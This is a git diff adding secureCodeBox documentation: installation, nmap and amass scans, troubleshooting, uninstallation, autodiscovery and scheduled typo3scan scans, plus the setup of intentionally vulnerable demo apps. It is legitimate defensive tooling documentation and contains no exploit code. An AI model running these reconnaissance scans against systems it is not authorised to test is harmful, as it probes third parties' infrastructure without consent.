amass scanner looks like this: + +```js +test( + "amass should find at least 20 subdomains", + async () => { + const { count } = await scan( + "amass-scanner-dummy-scan", + "amass", + ["-passive", "-noalts", "-norecursive", "-d", "owasp.org"], + 180 + ); + expect(count).toBeGreaterThanOrEqual(20); + }, + 6 * 60 * 1000 +); +``` +For this test to be considered successful, it has to match the expected condition. In this case, the condition is that the count of the findings is greater or equal to 20. +### How to Run an Integration Test + +To run the test it suffices to run: +```bash +make test +``` +All previous tests will be deleted and the current test will be run on a clean slate. + +If no clean install is needed before running the test, it is possible to run only the tests themselves through: + +```bash +make integration-tests +``` diff --git a/documentation/docs/getting-started/_category_.json b/documentation/docs/getting-started/_category_.json new file mode 100644 index 0000000000..3562d433d7 --- /dev/null +++ b/documentation/docs/getting-started/_category_.json @@ -0,0 +1,4 @@ +{ + "label": "Getting Started", + "position": 1 +} diff --git a/documentation/docs/getting-started/first-scans.md b/documentation/docs/getting-started/first-scans.md new file mode 100644 index 0000000000..81095eeed6 --- /dev/null +++ b/documentation/docs/getting-started/first-scans.md @@ -0,0 +1,225 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Starting your First Scans" +path: "docs/getting-started/first-scans" +sidebar_position: 2 +--- + +Now that you have installed the secureCodeBox, you can start you are close to being able to run your first scans. + +Before we can start scans, we need to install their `ScanTypes`, these tell the secureCodeBox Operator how to run the scans and how their results can be parsed to create a uniform and consistent finding data model. ScanTypes are namespaced [Custom Resource Definitions](https://kubernetes.io/docs/tasks/extend-kubernetes/custom-resources/custom-resource-definitions/) in Kubernetes, this lets different teams operating in different namespaces use different types of scanners and enables them to define their own custom ScanTypes. + +## Installing the Nmap ScanType + +In this guide, we'll use the [Nmap Port & Network Scanner](https://nmap.org), as it is fast and relatively easy to use. We can install the Nmap ScanType via Helm (Make sure to add the helm repo first. See [Installation](/docs/getting-started/installation)): + +```bash +helm install nmap secureCodeBox/nmap +``` + +To verify or to see which ScanTypes are installed in your current Namespace you can run: + +```bash +kubectl get scantypes +``` + +This should print an output like this (your version might differ): + +```text +NAME IMAGE +nmap docker.io/securecodebox/scanner-nmap:7.91-r0 +``` + +## Starting a Scan + +Now that we have the ScanType Nmap installed, we are ready to start our first scan. + +This example creates a Nmap scan which probes the [scanme.nmap.org](http://scanme.nmap.org) host. This scan is equivalent to running `nmap scanme.nmap.org` locally. + +:::caution +Please note the terms of usage for the [http://scanme.nmap.org/](http://scanme.nmap.org/) website. +Basically, restrict yourself to run portscans and don't run crazy amounts of scans against it. +::: + +```yaml title="nmap-scan.yaml" +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "nmap-scanme.nmap.org" +spec: + scanType: "nmap" + parameters: + - scanme.nmap.org +``` + +To run this example save the YAML above to a local file named `nmap-scan.yaml` and then start the scan via kubectl: + +```bash +kubectl apply -f nmap-scan.yaml +``` + +The scan is now starting up, you can track its progress using kubectl: + +```bash +kubectl get scans +``` + +This should print an output like this: + +```text +NAME TYPE STATE FINDINGS +nmap-scanme.nmap.org nmap Scanning +``` + +## Monitoring the Scan Execution + +When you apply a scan, the secureCodeBox Operator will create a [Kubernetes Job](https://kubernetes.io/docs/concepts/workloads/controllers/jobs-run-to-completion/) in your namespace. In this namespace, the scanner (in our example the Nmap scanner) will be executed inside a container. Once the scan has completed the container will terminate and no compute resources will be consumed anymore. You can view the status of this job by running: + +```bash +kubectl get jobs +``` + +This should give you an output like this + +```text +NAME COMPLETIONS DURATION AGE +parse-nmap-scanme.nmap.org-h8thd 1/1 30s 43m +scan-nmap-scanme.nmap.org-w66rp 1/1 10s 25s +``` + +:::note +Your job names will be slightly different. Kubernetes generates a random suffix for each job name to make them unique. In our case the suffix fir the scan job is `-w66rp` and for the parse job is `-h8thd`. +::: + +You can also view the logs of the container by running: + +```bash +kubectl logs job/scan-nmap-scanme.nmap.org-w66rp nmap +``` + +If your job is still running you can stream the logs of the scan until it has completed: + +```bash +kubectl logs job/scan-nmap-scanme.nmap.org-w66rp nmap --follow +``` + +This should print an output like this: + +```text +Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-25 10:50 UTC +Nmap scan report for scanme.nmap.org (45.33.32.156) +Host is up (0.19s latency). +Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f +Not shown: 993 closed ports +PORT STATE SERVICE +22/tcp open ssh +80/tcp open http +135/tcp filtered msrpc +139/tcp filtered netbios-ssn +445/tcp filtered microsoft-ds +9929/tcp open nping-echo +31337/tcp open Elite + +Nmap done: 1 IP address (1 host up) scanned in 5.44 seconds +``` + +Unless you are really quick or your scan took a long time you'll likely also seen that a second job was started: + +```bash +kubectl get jobs +``` + +This should print an output like this: + +```text +NAME COMPLETIONS DURATION AGE +parse-nmap-scanme.nmap.org-sl56z 1/1 14s 15s +scan-nmap-scanme.nmap.org-w66rp 1/1 10s 25s +``` + +This second job takes the result of the Nmap Scan and transforms them into a secureCodeBox specific finding format. These findings share the same basic structure for all integrated scanners, which makes it very convenient to analyze them in further steps. + +## Viewing the Scan Results + +Once this second job has completed you can get an overview of the results by taking another look at the scan: + +```bash +kubectl get scans +``` + +This should print an output like this: + +```text +NAME TYPE STATE FINDINGS +nmap-scanme.nmap.org nmap Done 8 +``` + +This list shows us the total count of findings identified by the scan. You can get a deeper overview by running: + +```bash +kubectl describe scan nmap-scanme.nmap.org +``` + +This should print an output like this: + +```yaml {19-25} +Name: nmap-scanme.nmap.org +Namespace: default +Labels: <none> +Annotations: API Version: execution.securecodebox.io/v1 +Kind: Scan +Metadata: + Creation Timestamp: 2020-09-25T10:50:09Z + Finalizers: + s3.storage.securecodebox.io + Generation: 1 + Resource Version: 46608 + Self Link: /apis/execution.securecodebox.io/v1/namespaces/default/scans/nmap-scanme.nmap.org + UID: fef73c4c-700a-4ad0-96c5-f8319989e9d9 +Spec: + Parameters: + scanme.nmap.org + Scan Type: nmap +Status: + Finding Download Link: "...omitted for readability" + Findings: + Categories: + Host: 1 + Open Port: 7 + Count: 8 + Severities: + Informational: 8 + Finished At: 2020-09-25T10:50:35Z + Raw Result Download Link: "...omitted for readability" + Raw Result File: nmap-results.xml + Raw Result Type: nmap-xml + State: Done +Events: <none> +``` + +This gives us an overview of the results of the scan. +To view the actual findings produced by the scan you can use the download link to download the findings as JSON from MinIO/S3. + +:::note +When using the default MinIO installation, you'll need to port-forward the to be able to access the finding download link. See: [installation](/docs/getting-started/installation#accessing-the-included-minio-instance) +::: + +## Next Steps + +### Configure more Involved Nmap Scans + +Nmap is an extremely powerful tool, which can be used for much more than just scanning for ports. +You can find more examples of Nmap scans, including example findings for these scans on the documentation page of the [Nmap ScanType](/docs/scanners/Nmap). + +### Other ScanTypes + +Nmap is just one of the many security testing tools integrated into the secureCodeBox, you can find examples and documentation on how to use each of them on their documentation page in the sidebar. + +To get started you can also take a look at our more [detailed guides](/docs/how-tos) + +### Pushing Findings into External Systems + +You can also integrate the secureCodeBox to automatically push the scan results into an external system like [Elasticsearch](/docs/hooks/Elasticsearch) or [DefectDojo](/docs/hooks/DefectDojo) to better analyse your findings. diff --git a/documentation/docs/getting-started/installation.md b/documentation/docs/getting-started/installation.md new file mode 100644 index 0000000000..f188b9e0c9 --- /dev/null +++ b/documentation/docs/getting-started/installation.md @@ -0,0 +1,177 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Installation" +sidebar_label: Installation +sidebar_position: 1 +path: "docs/getting-started/installation" +--- + +The secureCodeBox is running on [Kubernetes](https://kubernetes.io/). To install it you need [Helm](https://helm.sh), a package manager for Kubernetes. For your first steps Kubernetes from [Docker Desktop](https://www.docker.com/products/docker-desktop), [Minikube](https://minikube.sigs.k8s.io/docs/) or [KIND](https://kind.sigs.k8s.io/) is sufficient. We also provide a [Vagrant](https://www.vagrantup.com/) based all-in-one installation (see [below](#vagrant-all-in-one-installation)). + +First of all you need to install the secureCodeBox Operator which is responsible for starting all security scans. + +```bash +# Add the secureCodeBox Helm Repo +helm repo add secureCodeBox https://charts.securecodebox.io + +# Create a new namespace for the secureCodeBox Operator +kubectl create namespace securecodebox-system + +# Install the Operator & CRD's +helm --namespace securecodebox-system upgrade --install securecodebox-operator secureCodeBox/operator +``` + +If you didn't see any errors you now have the secureCodeBox Operator up and running! 🥳 🚀 + +Your now ready to install your [first scan types and start your first scans](/docs/getting-started/first-scans). + +## Version Support + +The secureCodeBox supports the 4 latest Kubernetes releases (`v1.27`, `v1.26`, `v1.25` & `v1.24`). Older version might also work but are not officially supported or tested. + +## Accessing the included MinIO Instance + +The default secureCodeBox Operator includes a [MinIO](https://min.io/) instance, which acts as a local S3 filestorage API used by the secureCodeBox to store the results files of its scans. You can switch it out with a S3 compatible API provided by most cloud providers. + +You can access the MinIO instance included in the default installation like the following: + +Port Forward MinIO UI: `kubectl port-forward -n securecodebox-system service/securecodebox-operator-minio 9000:9001` + +- AccessKey: `kubectl get secret securecodebox-operator-minio -n securecodebox-system -o=jsonpath='{.data.root-user}' | base64 --decode; echo` +- SecretKey: `kubectl get secret securecodebox-operator-minio -n securecodebox-system -o=jsonpath='{.data.root-password}' | base64 --decode; echo` + +Then open your browser on [http://localhost:9000](http://localhost:9000) and login in with the credentials returned by the command listed above. + +If you find yourself running these snippets regularly, you might want to check out this [helper script](https://github.com/secureCodeBox/secureCodeBox/blob/main/bin/minio-port-forward.sh) + +## Operator Configuration Options + +### Using a hosted S3 Buckets as storage backend + +To change out the default MinIO instance with a S3 Bucket from a cloud provider you can update the helm values to connect the operator with you S3 bucket. + +#### AWS S3 Buckets + +```yaml +minio: + # disable the local minio instance + enabled: false +s3: + enabled: true + # update the region to match the location of your bucket + endpoint: "s3.eu-west-1.amazonaws.com" + bucket: "your-own-securecodebox-bucket-name" + # Name to a k8s secret with 'accesskey' and 'secretkey' as attributes in the same namespace as this release + # Example creation via kubectl: + # kubectl create secret generic securecodebox-s3-credentials --from-literal=accesskey="******" --from-literal=secretkey="******" + keySecret: securecodebox-s3-credentials +``` + +#### Google Cloud Storage + +```yaml +minio: + # disable the local minio instance + enabled: false +s3: + enabled: true + bucket: your-own-securecodebox-bucket-name + endpoint: storage.googleapis.com + # Name to a k8s secret with 'accesskey' and 'secretkey' as attributes in the same namespace as this release + # Example creation via kubectl: + # kubectl create secret generic gcs-bucket-credentials --from-literal=accesskey="******" --from-literal=secretkey="******" + keySecret: gcs-bucket-credentials +``` + +## Install SCB Scanner + +The following list will give you a short overview of all supported security scanner charts and how to install them. +You will find a more detailed documentation for each scanner in our _Scanners_ documentation section. + +:::note +If you are installing the secureCodeBox the first time we recommend to read the [first scans](/docs/getting-started/first-scans) documentation first. +::: + +You can optionally deploy SCB scanner charts for each security scanner you want to use. They should not be installed into the securecodebox-system namespace like the operator, but into the individual namespaces where you want to run the scans. + +```bash +# The following chart will be installed in the `default` namespace by you can choose the namespace of your choice by +# adding `--namespace YOURNAMESPACE` to each line +helm upgrade --install amass secureCodeBox/amass +helm upgrade --install gitleaks secureCodeBox/gitleaks +helm upgrade --install kube-hunter secureCodeBox/kube-hunter +helm upgrade --install nikto secureCodeBox/nikto +helm upgrade --install nmap secureCodeBox/nmap +helm upgrade --install ssh-scan secureCodeBox/ssh-scan +helm upgrade --install sslyze secureCodeBox/sslyze +helm upgrade --install trivy secureCodeBox/trivy +helm upgrade --install wpscan secureCodeBox/wpscan +helm upgrade --install zap secureCodeBox/zap +``` + +## Install some demo targets + +If you want to test some of the security scanners within your namespace you can use some demo targets. + +:::danger +As these demo targets are intentionally vulnerable you shouldn't expose them to the internet - keep them internal. +Otherwise you could be targeted by someone else really fast 😈 +::: + +```bash +helm upgrade --install dummy-ssh secureCodeBox/dummy-ssh +helm upgrade --install bodgeit secureCodeBox/bodgeit +helm upgrade --install juice-shop secureCodeBox/juice-shop +helm upgrade --install old-wordpress secureCodeBox/old-wordpress +helm upgrade --install swagger-petstore secureCodeBox/swagger-petstore +``` + +:::note +These charts will be installed in the `default` namespace, but you can choose the namespace of your choice by adding `--namespace YOURNAMESPACE` to each helm command. +::: + +## Vagrant All-in-one Installation + +We provide a [Vagrant](https://www.vagrantup.com/) setup with everything installed (Kubernetes cluster, operator, scanners, hooks, demo applications, etc.). You only need [Vagrant installed](https://www.vagrantup.com/docs/installation) and our main repository to play around with secureCodeBox: + +```bash +git clone https://github.com/secureCodeBox/secureCodeBox.git +cd secureCodeBox +vagrant up +``` + +After this setup has finished just ssh into the vagrant box: + +```bash +vagrant ssh +``` + +Now you can [start with your first scan](/docs/getting-started/first-scans). + +## Troubleshooting + +### MinIO Startup Problems + +If your secureCodeBox Operator install is failing, and you see that the operator pod seems to be working okay, but the MinIO pods started alongside it does not start up properly, your cluster probably isn't configured to have a working default [Storage Class for Persistent Volumes](https://kubernetes.io/docs/concepts/storage/storage-classes/). + +Suggested solutions: + +- Use a Cloud Storage provider instead of MinIO. This has to provide a API compatible to AWS S3. Providers that we have tried and worked great include: + - AWS S3 + - Google Cloud Storage + - DigitalOcean Spaces +- Configure MinIO to use a HostPath Volume. This is more work to set up and manage, but also works for local / on-prem installation. + +### ClusterRole & CRD Issues + +The secureCodeBox Operator Helm Chart contains Custom Resource Definitions and ClusterRoles which is usually reserved to administrators of production cluster (and rightfully so 😄). If you are just testing out the secureCodeBox consider using a local Kubernetes Cluster with tools like [kind](https://kind.sigs.k8s.io/), [minikube](https://minikube.sigs.k8s.io/docs/) or [Docker Desktops (Mac/Windows) Kubernetes cluster](https://www.docker.com/products/kubernetes). + +### Running on Windows + +There are multiple ways to install Kubernetes and Helm to run secureCodeBox on Windows. One easy method is to install [Docker Desktop](https://www.docker.com/products/docker-desktop) then enable Kubernetes in the Settings. While installing a current version of Docker Desktop you will be prompted to install Linux Subsystem for Windows (WSL2). Now you can continue the installation on either Windows or the Linux Subsystem. + +- For Windows: Install [Helm](https://helm.sh) for Windows like instructed on the website. Usually installing from Binaries will be easy. +- For Linux Subsystem: Install the Linux Distribution of your choice from the Microsoft Store (Ubuntu 18.04 works fine). Now install [Helm](https://helm.sh) for the chosen Distribution (e.g. using Apt for Ubuntu). diff --git a/documentation/docs/getting-started/troubleshooting.md b/documentation/docs/getting-started/troubleshooting.md new file mode 100644 index 0000000000..f2a8b819f5 --- /dev/null +++ b/documentation/docs/getting-started/troubleshooting.md @@ -0,0 +1,58 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Troubleshooting" +sidebar_label: Troubleshooting +path: "docs/getting-started/troubleshooting" +--- + +If you experience any problems using the _secureCodeBox_, you may find an answer here. +Should your problem not be covered here, however, you can also join our +[Slack Channel](https://join.slack.com/t/securecodebox/shared_invite/enQtNDU3MTUyOTM0NTMwLTBjOWRjNjVkNGEyMjQ0ZGMyNDdlYTQxYWQ4MzNiNGY3MDMxNThkZjJmMzY2NDRhMTk3ZWM3OWFkYmY1YzUxNTU%22) +to get more specific help. +If you think that you encountered a general problem that should be fixed, we are very grateful if you take the time +to create an issue in our [GitHub Repository](https://github.com/secureCodeBox/secureCodeBox/issues). + +## Installation issues + +### *helm upgrade --install* does not work + +* Check if you have added the secureCodeBox repository: +```bash +helm repo add secureCodeBox https://charts.securecodebox.io +``` +* Check your spelling: Helm repo is case-sensitive and no backslash at the end of a resource +```bash +# WRONG! +helm upgrade --install nmap securecodebox/nmap +# ALSO WRONG! +helm upgrade --install nmap secureCodeBox/nmap/ +# CORRECT +helm upgrade --install nmap secureCodeBox/nmap +``` + +## Running scans + +### Error: ImagePullBackOff + +* Try to update your helm repository before installing the scanner (it is a good idea to do this periodically): +```bash +helm repo update secureCodeBox +``` + +* Check that you actually use a scanner from the repo instead of a local one: +```bash +# Local: +helm upgrade --install nmap ./scanners/nmap/ +# Repo: +helm upgrade --install nmap secureCodeBox/nmap +``` + +* If you want to use a local docker image for your scanner, check that your *values.yaml* file is correct and follow +these [instructions](https://www.securecodebox.io/docs/contributing/integrating-a-scanner/values.yaml#using-local-images). + + +* If you use an image from the repository, make sure that it has already been included in the latest +[release](https://github.com/secureCodeBox/secureCodeBox/releases). diff --git a/documentation/docs/getting-started/uninstallation.md b/documentation/docs/getting-started/uninstallation.md new file mode 100644 index 0000000000..6e8a576624 --- /dev/null +++ b/documentation/docs/getting-started/uninstallation.md @@ -0,0 +1,122 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "secureCodeBox Uninstallation" +sidebar_label: Uninstallation +path: "docs/getting-started/uninstallation" +--- + +## Uninstall Scanner / Hook + +If you want to uninstall every scanner and every hook you can simply delete the namespace in which they were installed (if you did not install any resources you still need in the same namespace). + +If you want to uninstall specific scanners or hooks you can delete them via `helm`. For example if you installed nmap using `helm install nmap secureCodeBox/nmap` you can delete nmap like this: + +```bash +helm delete nmap +``` + +## Uninstall CascadingRules + +If you want to delete some CascadingRules you can do so using `kubectl`. +For example if you want to uninstall a Cascading Rule for nmap: + +```bash +kubectl delete cascadingrules.cascading.securecodebox.io nmap-hostscan +``` + +## Uninstall the Operator and Its Roles, ServiceAccounts and RoleBindings + +To uninstall the operator it is not enough to delete the operator via `helm` because the operator creates Roles, ServiceAccounts and RoleBindings used by parsers, lurkers and hooks in every namespace where scanners and hooks are executed. These cannot be uninstalled via helm because they cannot be referenced via Kubernetes OwnerReferences. + +Make sure you delete all scans and uninstall all scanners/hooks before uninstalling the operator to avoid problems. +First delete the namespace for the operator: + +```bash +kubectl delete namespace securecodebox-system +``` + +### Delete Roles, RoleBindings and ServiceAccounts + +The operator creates ServiceAccounts, Roles and RoleBindings in *every namespace* where scans / hooks are executed. You will have to delete these manually for each namespace where scans were scheduled. +The given examples are valid only for scanners that were executed in the default namespace. + +To list the ServiceAccounts, Roles and RoleBings that were created by the operator you can execute the flowing command: + +```bash {1} +kubectl get roles,rolebindings,serviceaccounts lurker parser +NAME CREATED AT +role.rbac.authorization.k8s.io/lurker 2020-10-14T11:15:38Z +role.rbac.authorization.k8s.io/parser 2020-10-14T11:17:54Z + +NAME ROLE AGE +rolebinding.rbac.authorization.k8s.io/lurker Role/lurker 85m +rolebinding.rbac.authorization.k8s.io/parser Role/parser 83m + +NAME SECRETS AGE +serviceaccount/lurker 1 85m +serviceaccount/parser 1 83m +``` + +To delete the Roles for lurker and parser you can execute the following command: + +```bash +kubectl delete roles lurker parser +``` + +To delete the RoleBindings for lurker and parser you can execute: + +```bash +kubectl delete rolebindings lurker parser +``` + +To delete the ServiceAccounts for lurker and parser you can execute: + +```bash +kubectl delete serviceaccounts lurker parser +``` + +### Delete CRDs + +Deleting the namespace of the operator will not delete the Custom Resource Definitions (CRDs) that were defined. To list all CRDs you can execute the following command: + +```bash {1} +kubectl get crds +NAME CREATED AT +cascadingrules.cascading.securecodebox.io 2020-10-14T09:32:19Z +parsedefinitions.execution.securecodebox.io 2020-10-14T09:32:19Z +scancompletionhooks.execution.securecodebox.io 2020-10-14T09:32:19Z +scans.execution.securecodebox.io 2020-10-14T09:32:19Z +scantypes.execution.securecodebox.io 2020-10-14T09:32:19Z +scheduledscans.execution.securecodebox.io 2020-10-14T09:32:19Z +``` + +To delete these CRDs you can execute the following command: + +```bash +kubectl delete crd cascadingrules.cascading.securecodebox.io \ +parsedefinitions.execution.securecodebox.io \ +scancompletionhooks.execution.securecodebox.io \ +scans.execution.securecodebox.io \ +scantypes.execution.securecodebox.io \ +scheduledscans.execution.securecodebox.io +``` + +### Delete Volumes + +Some Resources like the elastic stack require a persistent volume. +To list all persistent volumes in the default namespace you can execute: + +```bash {1} +kubectl get pvc +NAME CAPACITY ACCESS MODES RECLAIM POLICY STATUS CLAIM STORAGECLASS REASON AGE +pvc-6002bffb-51ac-4767-a5a8-9f8834ffa7ec 30Gi RWO Delete Bound default/elasticsearch-master-elasticsearch-master-0 standard 3h30m +``` + +To delete a persistent volume you can execute: + +```bash +kubectl delete pvc pvc-6002bffb-51ac-4767-a5a8-9f8834ffa7ec +``` diff --git a/documentation/docs/hooks/_category_.json b/documentation/docs/hooks/_category_.json new file mode 100644 index 0000000000..171743c292 --- /dev/null +++ b/documentation/docs/hooks/_category_.json @@ -0,0 +1,9 @@ +{ + "label": "Hooks", + "position": 4, + "link": { + "type": "generated-index", + "title": "Hooks Overview", + "slug": "hooks" + } +} diff --git a/documentation/docs/how-tos/_category_.json b/documentation/docs/how-tos/_category_.json new file mode 100644 index 0000000000..eb24512147 --- /dev/null +++ b/documentation/docs/how-tos/_category_.json @@ -0,0 +1,9 @@ +{ + "label": "How To's", + "position": 2, + "link": { + "type": "generated-index", + "title": "Overview", + "slug": "how-tos" + } +} diff --git a/documentation/docs/how-tos/autodiscovery.md b/documentation/docs/how-tos/autodiscovery.md new file mode 100644 index 0000000000..a417f538b0 --- /dev/null +++ b/documentation/docs/how-tos/autodiscovery.md @@ -0,0 +1,119 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Automatically Scan Your Cluster with Autodiscovery" +description: "Automatically create and update scans for Kubernetes resources" +sidebar_position: 6 +--- + +## Introduction + +The secureCodeBox allows you to set up regular scans of your infrastructure using _scheduled scans_. As the name suggests, these _scheduled scans_ run based on a predefined time interval. However, it can be cumbersome to set this up for your entire infrastructure. If you are operating your infrastructure inside a Kubernetes cluster, there is an easier way to do this: The SCB AutoDiscovery automates the process of setting up _scheduled scans_ by creating _scheduled scans_ for Kubernetes resources inside a cluster. + +The AutoDiscovery will observe the scanned Kubernetes resources over their whole lifecycle. It will automatically create, update and delete scans when necessary. Currently the secureCodeBox AutoDiscovery supports two modes that can be enabled independently: A _Service_ and a _Container_ AutoDiscovery. This tutorial will explain both modes and will give a practical step by step example you can follow to get started with them. + +### Container AutoDiscovery + +The Container AutoDiscovery will create a scheduled scan with the given parameters (see [readme](https://github.com/secureCodeBox/secureCodeBox/blob/main/auto-discovery/kubernetes/README.md) for config options) for each unique container image in a Kubernetes namespace. Currently it is only possible to scan public container images. +It is currently disabled by default and must be enabled manually. + +Assume that a namespace contains two pods that run a `nginx v1.5` container. The Container AutoDiscovery will only create a single scheduled scan for the _nginx_ containers, as both are identical. +When a third pod inside the namespace is started running a `nginx v1.6` container, the Container AutoDiscovery will create an additional scheduled scan for the `nginx v1.6` container, as it is not scanned at this point in time. The Container AutoDiscovery will look at the specific version number of each container when it determines if the container should be scanned. +When both `nginx v1.5` pods get deleted the corresponding scheduled scans will also be automatically deleted because the specific container image is no longer present in the namespace. +The scheduled scan for the `nginx v1.6` container will not be deleted, as it is still running in the namespace. + +In other words: The Container AutoDiscovery will create a single scheduled scan for each unique container image (taking the specific version number into account) in a given namespace. +If a pod consists of multiple containers, the above described logic will be applied to each container individually. + +### Service AutoDiscovery + +The Service AutoDiscovery will create a scheduled scan with the given parameters (see [readme](https://github.com/secureCodeBox/secureCodeBox/blob/main/auto-discovery/kubernetes/README.md) for config options) for each Kubernetes service it detects. (It is possible to scan APIs that require authentication, see the [ZAP Advanced](../scanners/zap-advanced.md) documentation). +The Service AutoDiscovery is enabled by default but can be disabled manually. + +The Service AutoDiscovery will ignore services where the underlying pods do not serve http(s). It does this by checking for open ports `80, 443, 3000, 5000, 8000, 8443, 8080`. It is also sufficient to name the ports `http` or `https` when a different port is used than the ports specified above. +Services without a matching port number or name are currently ignored. + +## Setup + +For the sake of the tutorial, it will be assumed that a Kubernetes cluster and the SCB operator is already up and running. If not, check out the [installation](/docs/getting-started/installation/) tutorial for more information. +This tutorial will use the `default` and `securecodebox-system` namespaces. + +First install the `zap-advanced` (for service AutoDiscovery) and `trivy` (for Container AutoDiscovery) scan types: + +```bash +helm upgrade --install zap-advanced secureCodeBox/zap-advanced +helm upgrade --install trivy secureCodeBox/trivy +``` + +Then install the SCB AutoDiscovery (Container AutoDiscovery is explicitly enabled in this example): + +```bash +helm upgrade --namespace securecodebox-system --install auto-discovery-kubernetes secureCodeBox/auto-discovery-kubernetes --set config.containerAutoDiscovery.enabled=true +``` + +There are three so-called `resourceInclusionModes`. These control which resources the AutoDiscovery will scan. + +- `enabled-per-namespace` (default) +- `enabled-per-resource` +- `all` (scans every service and/ or container in the whole cluster!) + +Depending on the _resourceInclusionMode_ one has to annotate each namespace or Kubernetes resource for which the AutoDiscovery should be enabled. If `scan-all` is used nothing has to be annotated as everything will be scanned. +This tutorial will use `enabled-per-namespace` as _ressourceInclusionMode_ which is the default. +Annotate the `default` namespace to enable the AutoDiscovery feature for the namespace. + +```bash +kubectl annotate namespace default auto-discovery.securecodebox.io/enabled=true +``` + +Then install juice-shop as a demo target: + +```bash +helm upgrade --install juice-shop secureCodeBox/juice-shop +``` + +The AutoDiscovery will create two scheduled scans after some time. One for the juice-shop service using `zap`, and one for the juice-shop container using `trivy`: + +```bash +$ kubectl get scheduledscans +NAME TYPE INTERVAL FINDINGS +juice-shop-service-port-3000 zap-advanced-scan 168h0m0s +scan-juice-shop-at-350cf9a6ea37138b987a3968d046e61bcd3bb18d2ec trivy 168h0m0s +``` + +Install a second juice-shop into the namespace: + +```bash +helm upgrade --install juice-shop2 secureCodeBox/juice-shop +``` + +The AutoDiscovery will then create a second `zap` scan for the service, but no additional `trivy` container scan, as the juice-shop container is already being scanned. + +```bash +$ kubectl get scheduledscans +NAME TYPE INTERVAL FINDINGS +juice-shop-service-port-3000 zap-advanced-scan 168h0m0s +juice-shop2-service-port-3000 zap-advanced-scan 168h0m0s +scan-juice-shop-at-350cf9a6ea37138b987a3968d046e61bcd3bb18d2ec trivy 168h0m0s +``` + +Delete both juice-shop deployments. + +```bash +kubectl delete deployment,service juice-shop juice-shop2 +``` + +After some time all scheduled scans will be automatically deleted. + +``` +$ kubectl get scheduledscans +No resources found in default namespace. +``` + +## Config + +The scanType and scan parameters can be changed by providing `containerAutodiscovery.scanConfig.scanType` and `containerAutodiscovery.scanConfig.parameters` (replace `containerAutodiscovery` with `serviceAutodiscovery` to change scanType and scan parameters for the service AutoDiscovery). +The scan parameters support go templating extended with [_sprig_](https://github.com/Masterminds/sprig). An example for go templating would be the default parameters for the Container AutoDiscovery: `{{ .ImageID }}`. _ImageID_ is the imageID of the scanned container, example: `docker.io/bkimminich/juice-shop@sha256:350cf9a6ea37138b987a3968d046e61bcd3bb18d2ec95290cfc6901bd6013826` + +All config options are automatically updated in the [readme](https://github.com/secureCodeBox/secureCodeBox/blob/main/auto-discovery/kubernetes/README.md) in the Github repository. diff --git a/documentation/docs/how-tos/automatically-repeating-scans.md b/documentation/docs/how-tos/automatically-repeating-scans.md new file mode 100644 index 0000000000..b0866f32e7 --- /dev/null +++ b/documentation/docs/how-tos/automatically-repeating-scans.md @@ -0,0 +1,122 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Repeating Scans on a Schedule" +description: "Getting started with ScheduledScans" +sidebar_position: 1 +--- + +## Introduction + +In this step-by-step tutorial, we will go through all the required stages to set up a repeating scan with the secureCodeBox. A repeating scan will run automatically each time a time interval is passed. This time interval is set by the user. In this example, we are going to run a repeating typo3scan scan on the Typo3 local vulnerable demo-target (old-typo3). A repeating scan is useful, as it allows the developer to be aware of any new vulnerabilities that have been introduced in development. + +## Setup + +For the sake of the tutorial, we assume that you have your Kubernetes cluster already up and running and that we can work in your default namespace. +If not, check out the [installation](/docs/getting-started/installation/) for more information. + +We will start by installing the typo3 scanner: + +```bash +helm upgrade --install typo3scan secureCodeBox/typo3scan +``` + +And the Typo3 demo-target. This is only required if you don't already have a target you want to scan. + +```bash +helm upgrade --install old-typo3 secureCodeBox/old-typo3 +``` + +## Creating the Repeating Scan + +After everything is set up properly, we can now configure the repeating scan. +We create a **scheduled-scan.yaml** where we define what the scan should do: + +```yaml title="scheduled-scan.yaml" +apiVersion: "execution.securecodebox.io/v1" +kind: ScheduledScan +metadata: + name: "old-typo3.demo-targets.svc.org-5min" +spec: + interval: 5m + scanSpec: + scanType: "typo3scan" + parameters: + - "-d" + - http://old-typo3.demo-targets.svc + # Only show vulnerable extensions + - "--vuln" + # Set the number of threads to use for enumerating extensions at 10 + - "--threads" + - "10" + successfulJobsHistoryLimit: 3 + failedJobsHistoryLimit: 5 +``` + +We set the kind to `ScheduledScan`. This tells secureCodeBox to use the [ScheduledScan](/docs/api/crds/scheduled-scan) CRD. The interval here is set to 5 minutes (`5m`). This is only done to have quicker results for the example. If you're doing this on a real scan target, use a bigger time frame. It should be noted that hours (h) is the biggest unit that can be used. More info [here](/docs/api/crds/scheduled-scan#interval-required). + +The `successfulJobsHistoryLimit` controls how many completed scans are supposed to be kept until the oldest one will be deleted. And the `failedJobsHistoryLimit` controls how many failed scans are supposed to be kept until the oldest one will be deleted. + +The rest of the parameters are set according to your scanType. In this case it's `typo3scan`. Its corresponding scanner configuration can be found [here](/docs/scanners/typo3scan). + +Now we can run our scheduled scan via: + +```bash +kubectl apply -f scheduled-scan.yaml +``` + +The scan should be properly created and you should see it running via: + +```bash +kubectl get scheduledscans +``` + +And you get the following (The findings column might be different): + +```bash +NAME TYPE INTERVAL FINDINGS +old-typo3.demo-targets.svc.org-5min typo3scan 5m 53 +``` + +_Hint:_ If you want to restart the scan, you must delete it first: + +```bash +# Delete all scheduled scans: +kubectl delete scheduledscan --all +# Delete our specific scheduled scan: +kubectl delete scheduledscan old-typo3.demo-targets.svc.org-5min +``` + +We can check on the individual scans that have been done according to this scheduled/repeating scan via: + +```bash +kubectl get scans +``` + +After 15 minutes, we see the following: + +```bash +NAME TYPE STATE FINDINGS +old-typo3.demo-targets.svc.org-5min-1633093504 typo3scan Done 53 